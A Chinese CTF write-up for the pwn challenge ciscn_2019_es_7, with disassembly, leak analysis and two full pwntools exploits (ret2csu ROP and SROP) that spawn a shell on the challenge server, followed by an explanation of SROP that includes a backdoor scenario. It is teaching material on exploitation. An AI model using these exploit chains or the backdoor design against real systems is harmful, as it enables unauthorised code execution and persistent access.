checksec
matrix@ubuntu:~/PWN/BUU$ checksec ciscn_2019_es_7
[*] '/home/matrix/PWN/BUU/ciscn_2019_es_7'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
只开启NX保护
matrix@ubuntu:~/PWN/BUU$ ./ciscn_2019_es_7
asdasda
asdasda
����6@����Segmentation fault (core dumped)
内存泄露
IDA
main:
var_10= qword ptr -10h
var_4= dword ptr -4
; __unwind {
push rbp
mov rbp, rsp
sub rsp, 10h
mov [rbp+var_4], edi
mov [rbp+var_10], rsi
mov eax, 0
call vuln
nop
leave
retn
vuln:
buf= byte ptr -10h
; __unwind {
push rbp
mov rbp, rsp
xor rax, rax
mov edx, 400h ; count
lea rsi, [rsp+buf] ; buf
mov rdi, rax ; fd
syscall ; LINUX - sys_read
mov rax, 1
mov edx, 30h ; count
lea rsi, [rsp+buf] ; buf
mov rdi, rax ; fd
syscall ; LINUX - sys_write
retn
主要在vuln中:
- read(rdi=0,rsi=buf_add,rdx=400h)
- write(rdi=1,rsi=buf_addr,rdx=30h)
分析
像这样的很短的程序,直接看汇编码,画出栈数据结构:
- 因为read过量读取和write输出字节数过大,分别造成栈溢出和内存泄露。
- 在rsp_1这里存着stack 地址就可以获取栈地址,rbp_1会在执行ret时作为返回地址,这里是我们要进行覆盖的无法泄露。
- 程序中有多个syscall可以进行系统调用构造
- 程序给出了hint:
000000004004D6 gadgets proc near .text:00000000004004D6 ; __unwind { .text:00000000004004D6 push rbp .text:00000000004004D7 mov rbp, rsp .text:00000000004004DA mov rax, 0Fh =====>sigreturn系统调用号 ···· ···· 000000004004E2 ; --------------------------------------------------------------------------- .text:00000000004004E2 mov rax, 3Bh ======> execv系统调用号 .text:00000000004004E9 retn .text:00000000004004EA ; ---------------------------------------------------------------------------
思路
- 既然后给出了execv系统调用号那就是要构造系统调用rop链来pwn了。
- execv(rdi=’/bin/sh’_addr,rsi=0,rdx=0),’/bin/sh’因为栈地址泄露,我们可以将binsh放入栈中,并且算出其地址。
- 寄存器赋值:
ROPgadget --binary ciscn_2019_es_7 --only "" | grep "rdi" 0x00000000004005a3 : pop rdi ; ret ROPgadget --binary ciscn_2019_es_7 --only "" | grep "rsi" 0x00000000004005a1 : pop rsi ; pop r15 ; ret 00000000004004E2 mov rax, 3Bh 只有rdx的gadgets实在是找不到,最后想到了万能gadget:<__libc_csu_init>: 400580: 4c 89 ea mov rdx,r13 400583: 4c 89 f6 mov rsi,r14 400586: 44 89 ff mov edi,r15d 400589: 41 ff 14 dc call QWORD PTR [r12+rbx*8] 40058d: 48 83 c3 01 add rbx,0x1 400591: 48 39 eb cmp rbx,rbp 400594: 75 ea jne 400580 <__libc_csu_init+0x40> 400596: 48 83 c4 08 add rsp,0x8 40059a: 5b pop rbx 40059b: 5d pop rbp 40059c: 41 5c pop r12 40059e: 41 5d pop r13 4005a0: 41 5e pop r14 4005a2: 41 5f pop r15 4005a4: c3 ret 那么其实execv调用的rdi,rsi,rdx可以直接用这个的解决
但这里也引出了一个问题
call QWORD PTR [r12+rbx*8],需要绕过。
call qword ptr [寄存器] 是将寄存器中的值作为地址,找到该地址的值作为被调用函数入口,因为不知道那个地址上的数据类型所以在前面进行强制转换:qword 。就像jmp *register 这就是指针汇编形式
所以我的解决办法是:在栈中布置一个ret地址。计算出其栈地址,然后在__libc_csu_init:使r12赋值为该栈地址,那么call QWORD PTR [r12+rbx*8]就是执行了一个ret。那么也可以在栈中直接布置一个syscall然后call时直接就是进行execv函数。
EXP
from pwn import*
context.log_level = 'debug'
#sh = process('./ciscn_2019_es_7')
sh = remote('node3.buuoj.cn',25790)
payload = '/bin/sh\x00'.ljust(0x10,'A')
payload += p64(0x000040051D) #jmp to start
payload += 'A'*6 + ':'
sh.sendline(payload)
sh.recvuntil('AAA:\n')
stack_addr = u64(sh.recv(6).ljust(8,'\x00')) - 0x1ff58 #gdb调试,计算
print hex(stack_addr)
bin_sh_addr = stack_addr + 0x1fe20 #gdb调试,计算
#execv(rdi='/bin/sh'_Addr,rsi=0,rdx=0)rax=59
pop_rdi_ret = 0x00000000004005a3
pop_rsi_r15_ret = 0x00000000004005a1
mov_rax_3bh = 0x04004E2
ret = 0x00000000004003a9
syscall = 0x0000000000400501
#rbx=0,rbp=1,r12=ret,r13=0,r14=0,r15=0
payload1 = '/bin/sh'.ljust(0x8,'\x00')
payload1 += p64(ret) #栈中布置ret指令地址
payload1 += p64(0x40059a)
payload1 += p64(0)
payload1 += p64(1)
payload1 += p64(bin_sh_addr+8) #ret指令的栈地址
payload1 += p64(0)
payload1 += p64(0)
payload1 += p64(0)
payload1 += p64(0x400580)
payload1 += p64(0)*7 #for rsp increasing
payload1 += p64(pop_rdi_ret) + p64(bin_sh_addr)
payload1 += p64(mov_rax_3bh)
payload1 += p64(syscall)
#gdb.attach(sh)
sh.sendline(payload1)
sh.interactive()
结果:
[*] Switching to interactive mode
\x00\x00\x00\x00\x0[DEBUG] Received 0x30 bytes:
00000000 2f 62 69 6e 2f 73 68 00 a9 03 40 00 00 00 00 00 │/bin│/sh·│··@·│····│
00000010 9a 05 40 00 00 00 00 00 00 00 00 00 00 00 00 00 │··@·│····│····│····│
00000020 01 00 00 00 00 00 00 00 b8 69 b6 b8 fd 7f 00 00 │····│····│·i··│····│
00000030
/bin/sh\x00\x03\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00i\xb6\xb8�$ whoami
[DEBUG] Sent 0x7 bytes:
'whoami\n'
[DEBUG] Received 0x4 bytes:
'ctf\n'
ctf
[*] Got EOF while reading in interactive
$
其最优解是对这系统调用的使用:
.text:00000000004004DA mov rax, 0Fh =====>sigreturn系统调用号
我这个方法是死磕出来的,一起来学习一下这种方法:
SROP–Sigreturn Oriented Programming
Signal机制
这个机制在现在的操作系统中广泛使用,比如内核要杀死一个进程(kill -9 $PID
),再比如为进程设置定时器,或者通知进程一些异常事件等等。
- 当内核向某个进程发起(deliver)一个signal,该进程会被暂时挂起(suspend),进入内核
- 然后内核为该进程保存相应的上下文(主要是将所有寄存器压入栈中,以及压入 signal 信息以及指向 sigreturn 的系统调用地址),跳转到之前注册好的signal handler中处理相应signal
- 执行完signal handler,返回
- 内核为该进程恢复之前保存的上下文,最后恢复进程的执行
在这四步过程中,第三步是关键,即如何使得用户态的signal handler执行完成之后能够顺利返回内核态。在类UNIX的各种不同的系统中,这个过程有些许的区别,但是大致过程是一样的。这里以Linux为例:
在第二步的时候,内核会帮用户进程将其上下文保存在该进程的栈上,然后在栈顶填上一个地址ret2sigreturn,这个地址指向一段代码,在这段代码中会调用sigreturn
系统调用,所以,signal handler函数的最后一条ret
指令会使得执行流跳转到这段sigreturn代码,被动地进行sigreturn
系统调用。
此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。
在栈顶填入ret2sigrturn之后栈结构如下:64位
我们将这段内存称为一个`Signal Frame`
signal handler 返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。从挂起点恢复执行。其中,32 位的 sigreturn 的调用号为 77,64 位的系统调用号为 15。
对于 signal Frame 来说,会因为架构的不同而有所区别,这里给出分别给出 x86 以及 x64 的 sigcontext
x86
struct sigcontext
{
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};
x64
struct _fpstate
{
/* FPU environment matching the 64-bit FXSAVE layout. */
__uint16_t cwd;
__uint16_t swd;
__uint16_t ftw;
__uint16_t fop;
__uint64_t rip;
__uint64_t rdp;
__uint32_t mxcsr;
__uint32_t mxcr_mask;
struct _fpxreg _st[8];
struct _xmmreg _xmm[16];
__uint32_t padding[24];
};
struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};
机制缺陷
- 这个
Signal Frame
是被保存在用户进程的地址空间中的,是用户进程可读写的\ - 内核并没有将保存的过程和恢复的过程进行一个比较,也就是说,在
sigreturn
这个系统调用的处理函数中,内核并没有判断当前的这个`Signal Frame`就是之前内核为用户进程保存的那个`Signal Frame`一个最简单的攻击
如果攻击者可以控制用户进程的栈,那么它就可以伪造一个Signal Frame
,如下图所示:
伪造的Signal Frame中: - rdi赋值为/bin/sh地址
- rax赋值为execv系统调用号59
- rip赋值为syscall指令地址
- 我觉得还要有rsi=0,rdx=0
最后,将rt_sigreturn
手动设置成sigreturn
系统调用的内存地址。那么,当这个伪造的sigreturn
系统调用返回之后,相应的寄存器就被设置成了攻击者可以控制的值,在此例子中sigreturn一但执行完毕返回到用户态,寄存器就会被设置成攻击者所修改的值,即调用execv打开一个shell
这是一个最简单的攻击。在这个攻击中,有4个前提条件:
- 攻击者可以通过stack overflow等漏洞控制栈上的内容;
- 需要知道栈的地址(比如需要知道自己构造的字符串
/bin/sh
的地址) - 需要知道
syscall
指令在内存中的地址; - 需要知道
sigreturn
系统调用的内存地址。
使用pwntools 模块进行攻击
先指定指定机器的运行模式:context(os=’linux’,arch=’adm64’)
使用SigreturnFrame()获取frame结构体,然后进行赋值即可
EXP
from pwn import*
context.log_level = 'debug'
context(os='linux',arch='amd64')
sh = process('./ciscn_2019_es_7')
payload = '/bin/sh\x00'.ljust(0x10,'A')
payload += p64(0x000040051D) #jmp to start
payload += 'A'*6 + ':'
sh.sendline(payload)
sh.recvuntil('AAA:\n')
stack_addr = u64(sh.recv(6).ljust(8,'\x00')) - 0x1ff58
print hex(stack_addr)
bin_sh_addr = stack_addr + 0x1fe20
pop_rdi_ret = 0x00000000004005a3
pop_rsi_r15_ret = 0x00000000004005a1
mov_rax_3bh = 0x04004E2
ret = 0x00000000004003a9
syscall = 0x0000000000400501
mov_rax_ret = 0x00000000004004da
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve #指定系统调用号 59
sigframe.rdi = bin_sh_addr #指定参数rdi为bin sh地址
sigframe.rsi = 0x0 #指定参数rsi为0
sigframe.rdx = 0x0 #指定参数rdx为0
sigframe.rip = syscall #指定rip为syscall
payload = '/bin/sh\x00'.ljust(0x10,'A')
payload += p64(mov_rax_ret) #先将rax赋值为15
payload += p64(syscall) #进行系统调用sigreturn,然而程序并没有什么signal所以就直接返回,对sigframe 进行恢复,因为sigframe.rip = syscall所以将执行execve
payload += str(sigframe)
sh.sendline(payload)
sh.interactive()
MASS
利用SROP构造系统调用串
像上面那样布置,只能进行一次系统调用,如果要进行多次系统调用就需要额外添加一个对栈指针rsp
的控制就行了。如下
该示意图在第一次系统调用socket函数后ret到address2,然后进行第二次系统调用bind函数,继续ret到address3……也就是要在syscall 后面加上一个ret指令来控制程序流程
所以想要构造SROP系统调用串就需要两个很重要的gadgets:sigreturn ,syscall; ret
对于sigreturn这个系统调用和别的系统调用有一个不同的地方,即一般的应用程序不会主动调用它,而是像之前介绍的,由内核将相应地址填到栈上,使得应用进程被动地调用。因此在系统中一般会有一段代码专门用来调用sigreturn
。在不同的类UNIX系统中,这段代码会出现在不同的位置,如下图所示:
其中在Linux < 3.11 ARM
(也就是大部分现在Android所使用的内核),以及FreeBSB 9.2 x86_64
,都可以在固定的内存地址中找到这个gadget,而在其它系统中,一般被保存在libc
库的内存中,如果有ASLR保护的话似乎没有那么容易找到。
Linux < 3.3 x86_64(在 Debian 7.0, Ubuntu Long Term Support, CentOS 6 系统中默认内核),可以直接在 vsyscall 中的固定地址处找到 syscall&return 代码片段。如下
其中vsyscall
是用来加速time()
,gettimeofday()
和getcpu()
这三个系统调用的机制,虽然现在已经被vsyscall-emulate
和vdso
机制所代替,但在稍微比较早一点的内核中依然是被默认支持的。
除了上面提到的这两个可能存在在固定地址的gadgets之外,在其它系统中,这两个gadgets似乎并没有那么容易找到,特别是在有ALSR保护的系统中。但是,如果我们将其和传统的ROP来进行比较的话,就可以发现,它把整个攻击的代价拉低了一个档次。
sigreturn更好的调用方法
那么其实这个单独的gadget并不是必须的。因为我们可以将rax
寄存器设置成15(sigreturn的系统调用号),然后调用一个syscall
,效果和调用一个sigreturn
是一样一样的。那么,问题就从“如何找到一个sigreturn
gadget”变成了“如何控制寄存器rax
的值”。而rax
这个寄存器非常特殊,它除了被用来指定系统调用的调用号之外,也是函数返回值最后存放的地方。因此,我们可以利用控制函数返回值来控制rax
寄存器的值,具体的做法因人而异。比如利用read函数读取不同个数的字符来控制rax的值
SROP应用场景
利用SROP构造一些列系统调用,利用这些系统调用我们可以做很多事。
应用场景一:后门(Backdoor)
可以通过这种方法构造一个后门
后门的意思就是攻击者在系统中隐藏一个可以被触发的点,当某些比较少见的特定操作发生之后,会触发一个动作,这个动作一般是打开一个端口让攻击者通过网络连接进系统,从而对系统进行控制。后门最重要的特点是隐蔽,不容易被杀毒软件检查出来。所以说如果后门是一段可执行代码,那么就很容易被杀毒软件检测到,而如果后门是隐藏在数据域中,那么就能做到非常隐蔽
SROP就为其提供了一个强有力的工具:system call chain。整个过程如下图所示:
在这个过程中,攻击者利用inotify API
来监控一个文件,当这个文件被访问(比如攻击者在发起的请求中读取这个文件的内容),则后续的系统调用链被触发,打开一个socket,等待连接。同时通过一个alarm
系统调用设置一个定时器,如果在5秒钟没有人对这个socket发起连接请求,则将其关闭,否则建立连接,并调用execve
系统调用打开一个shell。
这就是一个典型的后门,可以用SROP完成。